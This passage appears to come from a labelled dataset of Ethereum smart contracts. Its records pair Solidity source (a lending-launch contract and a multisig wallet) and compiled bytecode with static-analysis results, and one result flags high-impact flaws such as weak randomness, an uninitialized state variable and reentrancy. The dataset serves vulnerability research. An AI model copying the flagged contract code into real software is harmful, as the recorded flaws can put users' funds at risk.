160ff16610904565b905080821115610ea5578091505b610eb6856060015160ff168361124a565b845160408051600160a060020a038a1681526020810187905280820186905260608101859052600160c060020a039092166080830152600160a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a1610f2e856060015160ff16610aa1565b60408051608081018252600080825260208083018281528385018381526060808601858152600160a060020a038f1686526011909452959093209351845491519351925177ffffffffffffffffffffffffffffffffffffffffffffffff19909216600160c060020a03918216177fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a65ffffffffffff90951694909402939093177fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f060020a60ff93841602177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a918316919091021790925587519288015161104a938b9392168601911661127f565b8395506111ee565b845160408051600160a060020a038a1681526020810187905280820186905260608101859052600160c060020a039092166080830152600060a0830152517f34079d79bb31b852e172198518083b845886d3d6366fcff691718d392250a9899181900360c00190a16110d8856060015160ff168660000151600160c060020a0316611329565b60408051608081018252600080825260208083018281528385018381526060808601858152600160a060020a038f1686526011909452959093209351845491519351925177ffffffffffffffffffffffffffffffffffffffffffffffff19909216600160c060020a03909116177fffff000000000000ffffffffffffffffffffffffffffffffffffffffffffffff1660c060020a65ffffffffffff90941693909302929092177fff00ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f060020a60ff92831602177effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1660f860020a92821692909202919091179091559086015161104a9116610aa1565b5050505050919050565b6000826103e8600c548561121660018761134890919063ffffffff16565b61122787600163ffffffff61134816565b606403880281151561123557fe5b04010281151561124157fe5b04039392505050565b6000828152600a6020526040902054611269908263ffffffff61134816565b6000928352600a60205260409092209190915550565b60008061128b8361135a565b91506001826007811061129a57fe5b0154604080517f8ccd227c000000000000000000000000000000000000000000000000000000008152600160a060020a0388811660048301526024820188905291519190921692508291638ccd227c91604480830192600092919082900301818387803b15801561130a57600080fd5b505af115801561131e573d6000803e3d6000fd5b505050505050505050565b6000828152600a6020526040902054611269908263ffffffff6113d616565b60008282111561135457fe5b50900390565b600081601e811061136e57600691506113d0565b6019811061137f57600591506113d0565b6014811061139057600491506113d0565b600f81106113a157600391506113d0565b600a81106113b257600291506113d0565b600581106113c357600191506113d0565b6002811061016957600091505b50919050565b6000828201838110156113e557fe5b9392505050565b604080518082019091526000808252602082015290565b604080516080810182526000808252602082018190529181018290526060810191909152905600a165627a7a7230582064261383bec284160359de35ea50d36d79db5d372a869bfe9be2840572da89aa0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
1,306
0xe365f52b5eef5357fd7ac0fc866054e2570a0dd9
// SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.4; abstract contract OwnableStatic { mapping( address => bool ) private _isOwner; constructor() { _setOwner(msg.sender, true); } modifier onlyOwner() { require( _isOwner[msg.sender] ); _; } function _setOwner(address newOwner, bool makeOwner) private { _isOwner[newOwner] = makeOwner; // _owner = newOwner; // emit OwnershipTransferred(oldOwner, newOwner); } function setOwnerShip( address newOwner, bool makeOOwner ) external onlyOwner() returns ( bool success ) { _isOwner[newOwner] = makeOOwner; success = true; } } library AddressUtils { function toString (address account) internal pure returns (string memory) { bytes32 value = bytes32(uint256(uint160(account))); bytes memory alphabet = '0123456789abcdef'; bytes memory chars = new bytes(42); chars[0] = '0'; chars[1] = 'x'; for (uint256 i = 0; i < 20; i++) { chars[2 + i * 2] = alphabet[uint8(value[i + 12] >> 4)]; chars[3 + i * 2] = alphabet[uint8(value[i + 12] & 0x0f)]; } return string(chars); } function isContract (address account) internal view returns (bool) { uint size; assembly { size := extcodesize(account) } return size > 0; } function sendValue (address payable account, uint amount) internal { (bool success, ) = account.call{ value: amount }(''); require(success, 'AddressUtils: failed to send value'); } function functionCall (address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 'AddressUtils: failed low-level call'); } function functionCall (address target, bytes memory data, string memory error) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, error); } function functionCallWithValue (address target, bytes memory data, uint value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, 'AddressUtils: failed low-level call with value'); } function functionCallWithValue (address target, bytes memory data, uint value, string memory error) internal returns (bytes memory) { require(address(this).balance >= value, 'AddressUtils: insufficient balance for call'); return _functionCallWithValue(target, data, value, error); } function _functionCallWithValue (address target, bytes memory data, uint value, string memory error) private returns (bytes memory) { require(isContract(target), 'AddressUtils: function call to non-contract'); (bool success, bytes memory returnData) = target.call{ value: value }(data); if (success) { return returnData; } else if (returnData.length > 0) { assembly { let returnData_size := mload(returnData) revert(add(32, returnData), returnData_size) } } else { revert(error); } } } interface IERC20 { event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply () external view returns (uint256); function balanceOf ( address account ) external view returns (uint256); function transfer ( address recipient, uint256 amount ) external returns (bool); function allowance ( address owner, address spender ) external view returns (uint256); function approve ( address spender, uint256 amount ) external returns (bool); function transferFrom ( address sender, address recipient, uint256 amount ) external returns (bool); } library SafeERC20 { using AddressUtils for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev safeApprove (like approve) should only be called when setting an initial allowance or when resetting it to zero; otherwise prefer safeIncreaseAllowance and safeDecreaseAllowance */ function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @notice send transaction data and check validity of return value, if present * @param token ERC20 token interface * @param data transaction data */ function _callOptionalReturn(IERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface ILPLeverageLaunch { function isTokenApprovedForLending( address lentToken ) external view returns ( bool ); function amountLoanedForLoanedTokenForLender( address holder, address lentTToken ) external view returns ( uint256 ); function totalLoanedForToken( address lentToken ) external view returns ( uint256 ); function launchTokenDueForHolder( address holder ) external view returns ( uint256 ); function setPreviousDepositSource( address newPreviousDepositSource ) external returns ( bool success ); function priceForLentToken( address lentToken ) external view returns ( uint256 ); function _weth9() external view returns ( address ); function fundManager() external view returns ( address ); function isActive() external view returns ( bool ); function changeActive( bool makeActive ) external returns ( bool success ); function setFundManager( address newFundManager ) external returns ( bool success ); function setWETH9( address weth9 ) external returns ( bool success ); function setPrice( address lentToken, uint256 price ) external returns ( bool success ); function dispenseToFundManager( address token ) external returns ( bool success ); function changeTokenLendingApproval( address newToken, bool isApproved ) external returns ( bool success ); function getTotalLoaned(address token ) external view returns (uint256 totalLoaned); function lendLiquidity( address loanedToken, uint amount ) external returns ( bool success ); function getAmountDueToLender( address lender ) external view returns ( uint256 amountDue ); function lendETHLiquidity() external payable returns ( bool success ); function dispenseToFundManager() external returns ( bool success ); function setTotalEthLent( uint256 newValidEthBalance ) external returns ( bool success ); function getAmountLoaned( address lender, address lentToken ) external view returns ( uint256 amountLoaned ); } contract LPLeverageLaunch is OwnableStatic, ILPLeverageLaunch { using AddressUtils for address; using SafeERC20 for IERC20; mapping( address => bool ) public override isTokenApprovedForLending; mapping( address => mapping( address => uint256 ) ) private _amountLoanedForLoanedTokenForLender; mapping( address => uint256 ) private _totalLoanedForToken; mapping( address => uint256 ) private _launchTokenDueForHolder; mapping( address => uint256 ) public override priceForLentToken; address public override _weth9; address public override fundManager; bool public override isActive; address public previousDepoistSource; modifier onlyActive() { require( isActive == true, "Launch: Lending is not active." ); _; } constructor() {} function amountLoanedForLoanedTokenForLender( address holder, address lentToken ) external override view returns ( uint256 ) { return _amountLoanedForLoanedTokenForLender[holder][lentToken] + ILPLeverageLaunch(previousDepoistSource).amountLoanedForLoanedTokenForLender( holder, lentToken ); } function totalLoanedForToken( address lentToken ) external override view returns ( uint256 ) { return _totalLoanedForToken[lentToken] + ILPLeverageLaunch(previousDepoistSource).totalLoanedForToken(lentToken); } function launchTokenDueForHolder( address holder ) external override view returns ( uint256 ) { return _launchTokenDueForHolder[holder] + ILPLeverageLaunch(previousDepoistSource).launchTokenDueForHolder(holder); } function setPreviousDepositSource( address newPreviousDepositSource ) external override onlyOwner() returns ( bool success ) { previousDepoistSource = newPreviousDepositSource; success = true; } function changeActive( bool makeActive ) external override onlyOwner() returns ( bool success ) { isActive = makeActive; success = true; } function setFundManager( address newFundManager ) external override onlyOwner() returns ( bool success ) { fundManager = newFundManager; success = true; } function setWETH9( address weth9 ) external override onlyOwner() returns ( bool success ) { _weth9 = weth9; success = true; } function setPrice( address lentToken, uint256 price ) external override onlyOwner() returns ( bool success ) { priceForLentToken[lentToken] = price; success = true; } function dispenseToFundManager( address token ) external override onlyOwner() returns ( bool success ) { _dispenseToFundManager( token ); success = true; } function _dispenseToFundManager( address token ) internal { require( fundManager != address(0) ); IERC20(token).safeTransfer( fundManager, IERC20(token).balanceOf( address(this) ) ); } function changeTokenLendingApproval( address newToken, bool isApproved ) external override onlyOwner() returns ( bool success ) { isTokenApprovedForLending[newToken] = isApproved; success = true; } function getTotalLoaned(address token ) external override view returns (uint256 totalLoaned) { totalLoaned = _totalLoanedForToken[token]; } /** * @param loanedToken The address fo the token being paid. Ethereum is indicated with _weth9. */ function lendLiquidity( address loanedToken, uint amount ) external override onlyActive() returns ( bool success ) { require( fundManager != address(0) ); require( isTokenApprovedForLending[loanedToken] ); IERC20(loanedToken).safeTransferFrom( msg.sender, fundManager, amount ); _amountLoanedForLoanedTokenForLender[msg.sender][loanedToken] += amount; _totalLoanedForToken[loanedToken] += amount; _launchTokenDueForHolder[msg.sender] += (amount / priceForLentToken[loanedToken]); success = true; } function getAmountDueToLender( address lender ) external override view returns ( uint256 amountDue ) { amountDue = _launchTokenDueForHolder[lender]; } function lendETHLiquidity() external override payable onlyActive() returns ( bool success ) { _lendETHLiquidity(); success = true; } function _lendETHLiquidity() internal { require( fundManager != address(0), "Launch: fundManager is address(0)." ); _amountLoanedForLoanedTokenForLender[msg.sender][address(_weth9)] += msg.value; _totalLoanedForToken[address(_weth9)] += msg.value; payable(fundManager).transfer( msg.value ); _launchTokenDueForHolder[msg.sender] += msg.value; } function dispenseToFundManager() external override onlyOwner() returns ( bool success ) { payable(fundManager).transfer( _totalLoanedForToken[address(_weth9)] ); delete _totalLoanedForToken[address(_weth9)]; success = true; } function setTotalEthLent( uint256 newValidEthBalance ) external override onlyOwner() returns ( bool success ) { _totalLoanedForToken[address(_weth9)] = newValidEthBalance; success = true; } function getAmountLoaned( address lender, address lentToken ) external override view returns ( uint256 amountLoaned ) { amountLoaned = _amountLoanedForLoanedTokenForLender[lender][lentToken]; } }
0x60806040526004361061014a5760003560e01c80638f16e341116100b6578063de218a341161006f578063de218a3414610419578063eb52e9d214610421578063ed34769a14610441578063f087bc6714610461578063f9a7c20714610497578063faca12be146104b757600080fd5b80638f16e3411461033357806399a98a6214610353578063bfb2cdcd14610373578063c90c152b146103b9578063ca91e18c146103d9578063cdd4eb14146103f957600080fd5b80634a501d7d116101085780634a501d7d1461023557806358dc0df3146102555780635f86b0da146102855780636209ec2d146102bb5780637027f397146102f35780637b5012a11461031357600080fd5b8062e4768b1461014f5780630230e4121461018457806310254d35146101a457806322f3e2d4146101b9578063232a3060146101da57806345625fe9146101fa575b600080fd5b34801561015b57600080fd5b5061016f61016a36600461108f565b6104d7565b60405190151581526020015b60405180910390f35b34801561019057600080fd5b5061016f61019f36600461100d565b610513565b3480156101b057600080fd5b5061016f610540565b3480156101c557600080fd5b5060075461016f90600160a01b900460ff1681565b3480156101e657600080fd5b5061016f6101f536600461100d565b6105cc565b34801561020657600080fd5b5061022761021536600461100d565b60056020526000908152604090205481565b60405190815260200161017b565b34801561024157600080fd5b5061016f610250366004611059565b61060e565b34801561026157600080fd5b5061016f61027036600461100d565b60016020526000908152604090205460ff1681565b34801561029157600080fd5b506102276102a036600461100d565b6001600160a01b031660009081526004602052604090205490565b3480156102c757600080fd5b506007546102db906001600160a01b031681565b6040516001600160a01b03909116815260200161017b565b3480156102ff57600080fd5b5061016f61030e36600461100d565b61065b565b34801561031f57600080fd5b5061016f61032e366004611059565b61069d565b34801561033f57600080fd5b506006546102db906001600160a01b031681565b34801561035f57600080fd5b5061022761036e36600461100d565b6106e8565b34801561037f57600080fd5b5061022761038e366004611027565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156103c557600080fd5b506102276103d4366004611027565b61078f565b3480156103e557600080fd5b5061016f6103f436600461100d565b61084c565b34801561040557600080fd5b5061016f61041436600461108f565b61088e565b61016f6109ff565b34801561042d57600080fd5b5061016f61043c3660046110b8565b610a6e565b34801561044d57600080fd5b506008546102db906001600160a01b031681565b34801561046d57600080fd5b5061022761047c36600461100d565b6001600160a01b031660009081526003602052604090205490565b3480156104a357600080fd5b5061016f6104b23660046110f0565b610aac565b3480156104c357600080fd5b506102276104d236600461100d565b610ae9565b3360009081526020819052604081205460ff166104f357600080fd5b506001600160a01b03909116600090815260056020526040902055600190565b3360009081526020819052604081205460ff1661052f57600080fd5b61053882610b8a565b506001919050565b3360009081526020819052604081205460ff1661055c57600080fd5b6007546006546001600160a01b03908116600090815260036020526040808220549051929093169280156108fc02929091818181858888f193505050501580156105aa573d6000803e3d6000fd5b50506006546001600160a01b0316600090815260036020526040812055600190565b3360009081526020819052604081205460ff166105e857600080fd5b50600780546001600160a01b0319166001600160a01b0392909216919091179055600190565b3360009081526020819052604081205460ff1661062a57600080fd5b506001600160a01b03919091166000908152600160208190526040909120805460ff19169215159290921790915590565b3360009081526020819052604081205460ff1661067757600080fd5b50600880546001600160a01b0319166001600160a01b0392909216919091179055600190565b3360009081526020819052604081205460ff166106b957600080fd5b506001600160a01b03919091166000908152602081905260409020805460ff1916911515919091179055600190565b600854604051634cd4c53160e11b81526001600160a01b03838116600483015260009216906399a98a629060240160206040518083038186803b15801561072e57600080fd5b505afa158015610742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107669190611108565b6001600160a01b038316600090815260046020526040902054610789919061116f565b92915050565b60085460405163c90c152b60e01b81526001600160a01b0384811660048301528381166024830152600092169063c90c152b9060440160206040518083038186803b1580156107dd57600080fd5b505afa1580156107f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108159190611108565b6001600160a01b03808516600090815260026020908152604080832093871683529290522054610845919061116f565b9392505050565b3360009081526020819052604081205460ff1661086857600080fd5b50600680546001600160a01b0319166001600160a01b0392909216919091179055600190565b600754600090600160a01b900460ff1615156001146108f45760405162461bcd60e51b815260206004820152601e60248201527f4c61756e63683a204c656e64696e67206973206e6f74206163746976652e000060448201526064015b60405180910390fd5b6007546001600160a01b031661090957600080fd5b6001600160a01b03831660009081526001602052604090205460ff1661092e57600080fd5b60075461094a906001600160a01b038581169133911685610c36565b3360009081526002602090815260408083206001600160a01b03871684529091528120805484929061097d90849061116f565b90915550506001600160a01b038316600090815260036020526040812080548492906109aa90849061116f565b90915550506001600160a01b0383166000908152600560205260409020546109d29083611193565b33600090815260046020526040812080549091906109f190849061116f565b909155506001949350505050565b600754600090600160a01b900460ff161515600114610a605760405162461bcd60e51b815260206004820152601e60248201527f4c61756e63683a204c656e64696e67206973206e6f74206163746976652e000060448201526064016108eb565b610a68610ca7565b50600190565b3360009081526020819052604081205460ff16610a8a57600080fd5b5060078054911515600160a01b0260ff60a01b19909216919091179055600190565b3360009081526020819052604081205460ff16610ac857600080fd5b506006546001600160a01b0316600090815260036020526040902055600190565b600854604051637d65095f60e11b81526001600160a01b038381166004830152600092169063faca12be9060240160206040518083038186803b158015610b2f57600080fd5b505afa158015610b43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b679190611108565b6001600160a01b038316600090815260036020526040902054610789919061116f565b6007546001600160a01b0316610b9f57600080fd5b6007546040516370a0823160e01b8152306004820152610c33916001600160a01b0390811691908416906370a082319060240160206040518083038186803b158015610bea57600080fd5b505afa158015610bfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c229190611108565b6001600160a01b0384169190610dd3565b50565b6040516001600160a01b0380851660248301528316604482015260648101829052610ca19085906323b872dd60e01b906084015b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610e08565b50505050565b6007546001600160a01b0316610d0a5760405162461bcd60e51b815260206004820152602260248201527f4c61756e63683a2066756e644d616e6167657220697320616464726573732830604482015261149760f11b60648201526084016108eb565b3360009081526002602090815260408083206006546001600160a01b0316845290915281208054349290610d3f90849061116f565b90915550506006546001600160a01b031660009081526003602052604081208054349290610d6e90849061116f565b90915550506007546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015610dac573d6000803e3d6000fd5b503360009081526004602052604081208054349290610dcc90849061116f565b9091555050565b6040516001600160a01b038316602482015260448101829052610e0390849063a9059cbb60e01b90606401610c6a565b505050565b6000610e5d826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564815250856001600160a01b0316610eda9092919063ffffffff16565b805190915015610e035780806020019051810190610e7b91906110d4565b610e035760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b60648201526084016108eb565b6060610ee98484600085610ef1565b949350505050565b6060843b610f555760405162461bcd60e51b815260206004820152602b60248201527f416464726573735574696c733a2066756e6374696f6e2063616c6c20746f206e60448201526a1bdb8b58dbdb9d1c9858dd60aa1b60648201526084016108eb565b600080866001600160a01b03168587604051610f719190611120565b60006040518083038185875af1925050503d8060008114610fae576040519150601f19603f3d011682016040523d82523d6000602084013e610fb3565b606091505b50915091508115610fc7579150610ee99050565b805115610fd75780518082602001fd5b8360405162461bcd60e51b81526004016108eb919061113c565b80356001600160a01b038116811461100857600080fd5b919050565b60006020828403121561101e578081fd5b61084582610ff1565b60008060408385031215611039578081fd5b61104283610ff1565b915061105060208401610ff1565b90509250929050565b6000806040838503121561106b578182fd5b61107483610ff1565b91506020830135611084816111df565b809150509250929050565b600080604083850312156110a1578182fd5b6110aa83610ff1565b946020939093013593505050565b6000602082840312156110c9578081fd5b8135610845816111df565b6000602082840312156110e5578081fd5b8151610845816111df565b600060208284031215611101578081fd5b5035919050565b600060208284031215611119578081fd5b5051919050565b600082516111328184602087016111b3565b9190910192915050565b602081526000825180602084015261115b8160408501602087016111b3565b601f01601f19169190910160400192915050565b6000821982111561118e57634e487b7160e01b81526011600452602481fd5b500190565b6000826111ae57634e487b7160e01b81526012600452602481fd5b500490565b60005b838110156111ce5781810151838201526020016111b6565b83811115610ca15750506000910152565b8015158114610c3357600080fdfea264697066735822122055e735a17021ce26a55c32121a522ce6f23702ddd880e63b46590e61c03bb35364736f6c63430008040033
{"success": true, "error": null, "results": {}}
1,307
0x44787dd718F5f4e4653af4c54f1fd987F897739B
/** *Submitted for verification at Etherscan.io on 2019-07-04 */ // File: contracts/InfinitoMultiSigWallet.sol /** * Source Code first verified at https://etherscan.io on Friday, August 3, 2018 (UTC) */ pragma solidity ^0.5.0; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="9be8effefdfaf5b5fcfef4e9fcfedbf8f4f5e8fef5e8e2e8b5f5feef">[email&#160;protected]</a>> contract InfinitoMultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this), "Not wallet!"); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner], "Owner is existed!"); _; } modifier ownerExists(address owner) { require(isOwner[owner], "Owner is not existed!"); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0), "Transaction is not existed!"); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner], "Owner did not confirm!"); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner], "Owner has confirmed!"); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed, "Transaction is executed!"); _; } modifier notNull(address _address) { require(_address != address(0), "Address is null!"); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "Invalid requirement!"); _; } /// @dev Fallback function allows to deposit ether. function() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i = 0; i < _owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0), "Invalid owner!"); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i = 0; i < owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i = 0; i < owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity&#39;s code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes memory data) private returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i = 0; i < owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes memory data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public view returns (uint count) { for (uint i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint count) { for (uint i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i = 0; i < owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i = 0; i < count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] memory _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i = 0; i < transactionCount; i++) if (pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i = from; i < to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101f257806320ea8d86146102435780632f54bf6e1461027e5780633411c81c146102e7578063547415251461035a5780637065cb48146103b7578063784547a7146104085780638b51d13f1461045b5780639ace38c2146104aa578063a0e67e2b146105a3578063a8abe69a1461060f578063b5dc40c3146106c1578063b77bf60014610751578063ba51a6df1461077c578063c01a8c84146107b7578063c6427474146107f2578063d74f8edd146108f8578063dc8452cd14610923578063e20056e61461094e578063ee22610b146109bf575b6000341115610175573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b005b34801561018357600080fd5b506101b06004803603602081101561019a57600080fd5b81019080803590602001909291905050506109fa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101fe57600080fd5b506102416004803603602081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a38565b005b34801561024f57600080fd5b5061027c6004803603602081101561026657600080fd5b8101908080359060200190929190505050610da2565b005b34801561028a57600080fd5b506102cd600480360360208110156102a157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611085565b604051808215151515815260200191505060405180910390f35b3480156102f357600080fd5b506103406004803603604081101561030a57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110a5565b604051808215151515815260200191505060405180910390f35b34801561036657600080fd5b506103a16004803603604081101561037d57600080fd5b810190808035151590602001909291908035151590602001909291905050506110d4565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b50610406600480360360208110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffff